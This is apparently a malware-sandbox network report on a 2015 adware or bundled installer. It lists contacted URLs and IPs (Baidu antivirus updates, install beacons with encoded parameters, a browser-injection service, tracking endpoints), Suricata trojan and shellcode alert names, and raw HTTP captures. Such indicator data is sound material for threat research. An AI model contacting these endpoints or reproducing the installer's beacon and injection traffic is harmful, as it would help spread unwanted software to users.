hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/dbg64/dbghelp.dll.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_0.mp3.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_10.mp3.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_11.mp3.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_7.mp3.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_8.mp3.7z
hxxp://bav-updown.wshifen.com/5.4.3.147185/baidu_update/sound/1046/1/BD_9.mp3.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.06.24.63/Plugins/IPlug_Scan/IPlug_Scan.dll.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.06.24.63/skin/plugins/Plugin_Settings/res/skin.xml.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.06.24.63/skin/skin_bavui_frame/skin.xml.7z
hxxp://bav-updown.wshifen.com/bav_module/2015.06.12.57/BavDd.dll.7z
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/ALLICON_05.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/micro/2113411594/nsc.ini.7z
hxxp://updown.bav.baidu.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/gray_icon.png.7z
hxxp://f.eg.bav.baidu.com/md5_check.cgi
hxxp://updown.bav.baidu.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/detail.xml.7z
hxxp://f.eg.bav.baidu.com/queryfeature.do
hxxp://f.eg.bav.baidu.com/sample_check.cgi
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/FileList.xml.7z
hxxp://dl2.bav.baidu.com/skin5_0_speed.png	205.185.216.42
hxxp://updown.bav.baidu.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolFileList.xml
hxxp://updown.bav.baidu.com/bav_featurelib/micro/2113411594/MicroSignMergeHistory.ini.7z
hxxp://dl2.bav.baidu.com/skin5_0_oldstars.png	205.185.216.42
hxxp://www.amoninst.com/thankyou.php	184.73.225.10
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/B1BC968BD4F49D622AA89A81F2150152A41D829C.crt	213.133.184.106
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon2.png.7z
hxxp://sync.eg.bav.baidu.com/cgi-bin-py/statistic_msg.cgi?type=BavStrLog&guid=61807c4bafc26bb2ed98e3e60f587cd6&ver=5.4.3.147185
hxxp://sync.eg.bav.baidu.com/cgi-bin-py/dump_log_query.cgi
hxxp://updown.bav.baidu.com/bav_module/2015.06.12.57/BavDd.dll.7z
hxxp://updown.bav.baidu.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/icon.png.7z
hxxp://dl2.bav.baidu.com/skin5_0_green.png	205.185.216.42
hxxp://updown.bav.baidu.com/bav_featurelib/adblock/2112950282/adblockConfigFileInfo.ini
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/adblock/2112950282/data/adblockConfig.ini.7z
hxxp://cdn1.downloadjelly.com/V29/amipb.js
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/hipstips.dat
hxxp://updown.bav.baidu.com/bav_module/2015.06.24.63/skin/skin_bavui_frame/skin.xml.7z
hxxp://updown.bav.baidu.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/ALLICON_05.png.7z
hxxp://updown.bav.baidu.com/bav_module/2015.06.24.63/skin/plugins/Plugin_Settings/res/skin.xml.7z
hxxp://dl2.bav.baidu.com/skin5_0_gold.png	205.185.216.42
hxxp://dl2.bav.baidu.com/newver_B354.xml	205.185.216.42
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5N.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/detail.xml.7z
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_9.mp3.7z
hxxp://updown.bav.baidu.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolFileList.xml
hxxp://install.plainsavingscenter.com/ii?alpha=AmkNCgUtFCJiJhZSIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo2CRsHRXMWDVB/bGVlB153CUVYF21YdABiU1oea0ZnXEVVH1VRIylVPUVZAiw9Vzl0BAFjFkUXb1xIFgI9cxwkOTQzSVBeUHgZDz0tMiRSTRJSBQ1LKxtqFXcFEhpAQC4OX0YCVwABMlNpTk8LCDsYOCBcSzxPBA4HPEZzRWMnXzAvMhBIUg8lXVoSPTAkOhdKZQ5FWApuXnYFZERaCl9dawQMQAZGVmxhECgPDEIBPFQOJ1USFlYQQjYfDgMfWS9TNzk/X3VHAnFOTEloNz1pA1YrCRtUXXoJMAh9BxNJGQYuDE0NVxUHfBgKKRgGVFx1eytzdG11SBhKYioHT0RpZ14sMTVCYn08S2oZBCE0KGlzMxp1Kk9TLAciCAJ2cytsEn8FQ10JGGoDCXtcc3MxPmlcG3RkYiRZBUt/Og9RQ3kgVmMVHzoGewJ3Tx8kPDA9MREALgZNDEo/VXcTPgoOTkJiRn96Rg==	8.34.112.145
hxxp://svc-stats.linkury.com/StatisticsService.svc/V1/JSON/LogEvent	65.52.144.78
hxxp://updown.bav.baidu.com/bav_module/2015.05.11.36/FileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/md5/2113411594/sc.ini.7z
hxxp://www.downloadjelly.com/tdownload1.php
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://cloud-search.linkury.com/maxmind.asmx/GetGeoInfo
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/rl.dat
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab	213.133.184.106
hxxp://sync.eg.bav.baidu.com/cgi-bin/report_uu_msg_bavv2.cgi
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detailDef.xml.7z
hxxp://updown.bav.baidu.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detail.xml.7z
hxxp://inj.shoppop.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr
hxxp://www.baidu.com/
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://antivirus.baidu.com/cgi/bav/Bav_NoDisturb.fcg
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/bhf.dat
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/mn.dat
hxxp://updown.bav.baidu.com/bav_module/2015.05.19.47/FileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2G.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/startup/2113278481/startupConfigFileInfo.ini
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/icon.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4G.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/DEF8DB04-2D26-469A-8D59-5D813E89773D/2.0.1.2/ToolSummary/icon.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_7.mp3.7z
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/detail.xml.7z
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://updown.bav.baidu.com/bav_featurelib/bavbh/2113214996/data/bavbhConfig.ini.7z
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://dl2.bav.baidu.com/BavPro_Setup_B354.exe	205.185.216.42
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/dbg64/dbghelp.dll.7z
hxxp://updown.bav.baidu.com/bav_featurelib/plugindata/2113344777/plugindataConfigFileInfo.ini
hxxp://ins.midnightjs.net/dealdo/install-report?type=install&ver=1.0.2.0&instgrp=20151124__1.0.2.0__lnk_auto_1218_1&partner=pcdealb&channel=pcdealbnew&funnel=ed1868c9-2186-470a-b0b1-1beb1b77697b&cb=296875&slug=insthelper&defaultBrowser=0&ieVer=362e302e323930302e35353132&firefoxVer=&chromeVer=&operaVer=&winVer=352e31&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D&ieproc=0&ffproc=0&chproc=0	54.225.196.197
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_11.mp3.7z
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolFileList.xml
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/midhf.dat
hxxp://updown.bav.baidu.com/bav_featurelib/micro/2113411594/microConfigFileInfo.ini
hxxp://dl2.bav.baidu.com/skin5_0_dream.png	205.185.216.42
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/bavrr/2113343241/bavrrConfigFileInfo.ini
hxxp://www.amoninst.com/finalize.php	184.73.225.10
hxxp://updown.bav.baidu.com/bav_module/2015.06.24.63/FileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon.png.7z
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_0.mp3.7z
hxxp://install.plainsavingscenter.com/fp?alpha=f2xFCjsuUiEyd1pQaiA0figWBzt/MFN7elhtFB5kOTxLXihpR0h6XHonUAweJGdGKkQKBy8KDRV3HCIlCCQwDjlibQFjPlowIHl4QDVnaVogcV5eemtoDXczDQZFSyB/PBwBPyMWRXhVdSdfDXcickBeQXgeLgt4fmsUVi9sa3pUQHcTQEd/ey1WCX4HOCMyOS0mS0tua3lCcSsAV1dBcWQ/Hgw3KQAXKUV9fEkMaTN6Qk8UKwp9Wm8xNxk2dSVsZ1MFAQpSRWVwbw9QOVo5cHRFWQRVCSU9ZBJ2OggCQUglb2xaQDNEXFM5ECR6VHpiVXpEK0J5B1kPcGF3HSAkDyQ7DUQSc3VjPVwwUA9scBhFFmVsaCUWb14=	8.34.112.145
hxxp://updown.bav.baidu.com/bav_featurelib/plugindata/2113344777/data/plugindataConfig.ini.7z
hxxp://dl2.bav.baidu.com/skin5_0_halloween.png	205.185.216.42
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/bdMiniDownloaderGB_BAV-Mini_32_1002.exe.7z
hxxp://updown.bav.baidu.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolSummary/detail.xml.7z
hxxp://up.eg.bav.baidu.com/cgi-bin/load_filter.cgi
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/md5/2113411594/md5ConfigFileInfo.ini
hxxp://updown.bav.baidu.com/bav_featurelib/md5/2113411594/MergeHistoryList.ini.7z
hxxp://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootseq.txt	213.133.184.106
hxxp://www.amoninst.com/index.php	184.73.225.10
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/icon4N.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/startup/2113278481/data/startupConfig.ini.7z
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://install.plainsavingscenter.com/if?alpha=AmkNCgVCOxZBQkNBIiAKAy1eBwUCNQEiCCdRTF5KXWxcClEXVQAcN1FyTxw3DzlRAS5BCTpOElwWCFsRBz10FHJsdU0UHVI2Gg9Se38iJwoBJGQID1csWSRHYkRYRR8NP1gVACMSEHoeA14MCFYqCRVXDQptfgFDahxfUGYESHF5BXo+HBtgC2BHUykgMD8fXhwpaBwAUD8AYFgyCgteXwk6UR0FSRQNYmkCNRAPVV59DUktV0kRShgTNgkeU1tjM19lOD4ZZEEMUxYJTn53eW0HQGsOXlgWeg8jWghYXEV8Zy4OX0QeVVhxDFl1RVMTHWMYXHsfTTpMUUEsGgNRCkEoWTEzKBBAR0NSQlEEIS44dG8gZWsZBkI5GzVcK1leFAlCbRNfWQhLHXZ7BTUQElZYfwhPOlddJVEUS38cB0BcLHsacHJrWUlAD2RFWF0LNyw4XgMtG0M8SjUcI1FkZEsZXVF7SApeERgJajUCaxxFQg85BVZ5Hh5jClFDPlFWEw08AgBxZWFPFAkgQRF5ImgpJDAKNiRXGAwCOAcrW3lzcSdndS4FQ10EGHkPBH5aB0sUASsFKQh+fBYeAEowAQgeYEMTcQQOFCp2FQdxFmktOTg5MRcmLEkfHEUwSA9xARd3GVtQKCVeWRFAGy83DVgbYCAhDG0iDEweD1kTQwMgKWB2QBJEcgAPGktDP1FOUhASFggydRUgSyYfYDotflg1dHc9Yl9/LllWDW1yDz1yfkRMKRgLXipxX14QcDJlNBspVlFmCWYMHz09Q1YTSF17BgthJiV0OABwAB5rKQ4sfQt0WTpMUXgsWnQBYAUhKnNTZHcPGQBNCSN6cCcLWUsnCUYMWXxhC2NzMgwGUAV2Ww4CPC0uCR9QTR0=	8.34.112.145
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/apcf.dat
hxxp://updown.bav.baidu.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/detailDef.xml.7z
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon2.png.7z
hxxp://dl2.bav.baidu.com/skin5_0_flower.png	205.185.216.42
hxxp://updown.bav.baidu.com/bav_featurelib/rcs/2113147145/data/rcsConfig.ini.7z
hxxp://updown.bav.baidu.com/baidu_tool/09F68E66-0B2F-47f7-83AF-77569A4A63C1/1.0.3.1/ToolSummary/icon5G.png.7z
hxxp://updown.bav.baidu.com/bav_featurelib/rcs/2113147145/rcsConfigFileInfo.ini
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/639C9925-1C42-4236-991B-AEAB22353808/1.0.0.10/ToolFileList.xml
hxxp://updown.bav.baidu.com/bav_featurelib/url/2112950282/data/urlConfig.ini.7z
hxxp://updown.bav.baidu.com/bav_module/2015.06.24.63/Plugins/IPlug_Scan/IPlug_Scan.dll.7z
hxxp://inj.shoppop.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ie
hxxp://updown.bav.baidu.com/baidu_tool/ToolsList_2015_06_10_02_09_55_10.xml
hxxp://updown.bav.baidu.com/bav_featurelib/url/2112950282/urlConfigFileInfo.ini
hxxp://updown.bav.baidu.com/baidu_tool/8A73A249-C3BE-401A-8335-A832080931D3/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolSummary/icon.png.7z
hxxp://sync.eg.bav.baidu.com/cgi-bin-py/get_channel_info_bavv2.cgi
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/BavBsReport.exe.7z
hxxp://f.eg.bav.baidu.com/query_report_ctrl.cgi
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/icon.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/icon2.png.7z
hxxp://dl2.bav.baidu.com/skin5_0_stars.png	205.185.216.42
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/bav_featurelib/bavdd/2113012750/data/bavddConfig.ini.7z
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolFileList.xml
hxxp://updown.bav.baidu.com/baidu_tool/5DB281C3-B655-656A-01B6-E302199E376A/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://svc-stats.linkury.com/StatisticsService.svc/V1/SOAP	65.52.144.78
hxxp://updown.bav.baidu.com/baidu_tool/E839B20B-DE0B-461d-A3CD-769DFA88F488/1.0.3.0/ToolSummary/detail.xml.7z
hxxp://inj.shoppop.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_on
hxxp://updown.bav.baidu.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolSummary/gray_icon.png.7z
hxxp://up.eg.bav.baidu.com/up.cgi
hxxp://updown.bav.baidu.com/bav_featurelib/bavbh/2113214996/bavbhConfigFileInfo.ini
hxxp://updown.bav.baidu.com/baidu_tool/7B49036D-8FC2-4AA8-89A5-0B8B0519E8EE/1.0.1.1/ToolSummary/gray_icon.png.7z
hxxp://www.pcfaster.com/cgi/dump/Filter.xml
hxxp://f.eg.bav.baidu.com/check_domain.cgi
hxxp://up.bav.baidu.com/up.cgi
hxxp://f.eg.bav.baidu.com/cloud-hips-down.cgi/static/hlcf.dat
hxxp://goserverconfig.blob.core.windows.net/pennybee/UpdateVersion.xml	168.63.2.78
hxxp://updown.bav.baidu.com/bav_featurelib/srsl/2112953098/data/srslConfig.ini.7z
hxxp://dl2.bav.baidu.com/skin5_0_planet.png	205.185.216.42
hxxp://updown.bav.baidu.com/baidu_tool/3811A2B3-20AF-486d-81FA-8774762CC135/1.0.1.1/ToolSummary/icon2N.png.7z
hxxp://updown.bav.baidu.com/baidu_tool/128B4BEC-5D89-43AD-BAA8-207084AA0E4F/2.6.0.0/ToolFileList.xml
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_10.mp3.7z
hxxp://updown.bav.baidu.com/bav_featurelib/bavrr/2113343241/data/bavrrConfig.ini.7z
hxxp://updown.bav.baidu.com/bav_module/2015.06.12.57/FileList.xml
hxxp://dl2.bav.baidu.com/skin5_0_wheatfield.png	205.185.216.42
hxxp://trk.midnightjs.net/gettrk_l?partner=pcdealb&channel=pcdealbnew&versionint=1.0.2.0&hid=v4C28B7D95-2978-BD4C-036F-0CC89C089D	207.244.65.144
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/detail.xml.7z
hxxp://install.plainsavingscenter.com/mg?alpha=fHB9C3BBTzRdMTJMUiF/fTQuBnB8Nn96dgMZdkBsDiY8GwAqeWB5HApEfAVVKBRlVwgIdRAPR2MCLCQQb3hHBgIEJ2FEeyxtQzZrVi9y	8.34.112.145
hxxp://updown.bav.baidu.com/baidu_tool/23A88272-3BEB-64D1-7DFB-470FD51F9BBA/1.0.1.1/ToolSummary/gray_icon2.png.7z
hxxp://pcfaster.baidu.com.eg/cgi/ip/getCode.php
hxxp://updown.bav.baidu.com/baidu_tool/6BA17A92-4345-49c0-A228-A57C2E779055/1.0.0.5/ToolFileList.xml
hxxp://updown.bav.baidu.com/5.4.3.147185/baidu_update/sound/1046/1/BD_8.mp3.7z
hxxp://dl2.bav.baidu.com/skin5_0_war.png	205.185.216.42
hxxp://updown.bav.baidu.com/bav_featurelib/srsl/2112953098/srslConfigFileInfo.ini
hxxp://crl.comodoca.com/COMODOCodeSigningCA2.crl
hxxp://dl2.bav.baidu.com/skin5_0_game.png	205.185.216.42
hxxp://www.amoninst.com/namen.php	184.73.225.10
hxxp://updown.bav.baidu.com/baidu_tool/8C8AEEC1-5166-4CE7-BBAD-7C37409D0C73/1.0.0.9/ToolSummary/detail.xml.7z
hxxp://inj.shoppop.net/InjectionsService.svc/GetPublisherInjectionsByPublisherAndCountry?publisher=PB4&country=UA&installDate=24/11/2015&barcodeid=149125&downloadprovider=PennyBee&installid=C28B7D95-2978-BD4C-036F-0CC89C089D&browser=pr_ff
hxxp://updown.bav.baidu.com/bav_featurelib/bavdd/2113012750/bavddConfigFileInfo.ini
pool.ntp.org	91.218.89.74

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY User-Agent (NSIS_Inetc (Mozilla)) - Sometimes used by hostile installers
ET TROJAN Hiloti Style GET to PHP with invalid terse MSIE headers
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET MALWARE SoundCloud Downloader Install Beacon
ET TROJAN Suspicious User-Agent (HTTP Downloader)

Traffic

GET /?gfe_rd=cr&ei=yQtUVqnrOqWA6ATWyKLADg HTTP/1.1

Host: VVV.google.com.ua


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:38 GMT

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=windows-1251

P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."

Server: gws

X-XSS-Protection: 1; mode=block

X-Frame-Options: SAMEORIGIN

Set-Cookie: PREF=ID=1111111111111111:FF=0:TM=1448348618:LM=1448348618:V=1:S=Dls4PrHdEaxIUUPs; expires=Thu, 31-Dec-2015 16:02:17 GMT; path=/; domain=.google.com.ua

Set-Cookie: NID=73=GVJbMkKwnlm-4haZOA1mset4lkXPyHsRQBiDQ7l4HzKJVCd4OWNPDceH-LbzwpvHoYUEenlbikxvLP_zGd4E0Chasrs9wFbQ7pNdmYMsdGf8v9fD49qxX3sUkVAhJ-rS48-iMeEsU7hfWHXGKIuc0arRlyQTrqprhPYpEcMR; expires=Wed, 25-May-2016 07:03:38 GMT; path=/; domain=.google.com.ua; HttpOnly

Accept-Ranges: none

Vary: Accept-Encoding

Transfer-Encoding: chunked
4523..<!doctype html><html itemscope="" itemtype="hXXp://sche
ma.org/WebPage" lang="uk"><head><meta content="/logos/dood
les/2015/41st-anniversary-of-the-discovery-of-lucy-5736109501841408-hp
.gif" itemprop="image"><meta content="41 ... . ... ........ ....
.......... .... #GoogleDoodle" property="og:description"><meta c
ontent="hXXp://VVV.google.com/logos/doodles/2015/41st-anniversary-of-t
he-discovery-of-lucy-5736109501841408-thp.png" property="og:image">
<meta content="550" property="og:image:width"><meta content="
145" property="og:image:height"><title>Google</title>&l
t;script>(function(){window.google={kEI:'ygtUVpa_AenmyQPQ-qLYCA',kE
XPI:'3700269,4029815,4031109,4032678,4033307,4034332,4036527,4038011,4
039268,4041837,4042552,4042786,4042794,4043255,4043457,4043458,4043492
,4044606,4044954,4045841,4046304,4046400,4047318,4047768,4048007,40480
11,4048347,4048596,4048854,4048909,4049201,4049541,4049604,4049833,404
9896,4050268,4050735,4050891,4050908,4050914,4050981,4051153,4051282,4
051637,4051665,4051714,4051795,4051830,4051833,4052312,4052320,4052781
,4053348,4054355,4054386,4054641,4054808,8300272,8300290,8502094,85022
21,8502312,8502315,8502342,8502452,8502468,8502537,8502551,8502691,102
00083,10201224,10201419',authuser:0,kscs:'c9c918f0_10'};google.kHL='uk
';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){f
or(var b;a&&(!a.getAttribute||!(b=a.getAttribute("eid")));)a=a.parentN
ode;return b||google.kEI};google.getLEI=function(a){for(var b=null<<< skipped >>>

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U..~.#D~n&_O.'Qo.....I..8..L\PS.....z.p..y.Q...OBi..o......%.Z.....8\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close

......2...nW.dY./z,W-.."r.....".P.......,..l..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.`~.*2..X'M.Q%k.....O..<..J[QQ......z...."...ED...k.m....'.-.....>\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2....W.m/.R.TU(a.&}.e...W.T.......-..l..

POST /queryfeature.do HTTP/1.0

Content-Length: 137

Host: f.eg.bav.baidu.com

e=

A'...:7}<B..9q.qf....O...;..<..W....L....e.(.....1X>a'..

?.^.....PIi...j..s.....4X.A.._.:[....~-..&.Hr6M.o#............D ........ZM.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close
e=0.J.N..w .9.. ..B...d.A.~.SC..

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 171

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..Y..

W.S.....O.x8/..9.V....
....].zaS.l?....FF=t..%c....50<..\cs.!4..;.%....~.."u...i........Y0&.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /queryfeature.do HTTP/1.0

Content-Length: 131

Host: f.eg.bav.baidu.com

e=

vU...8gMj

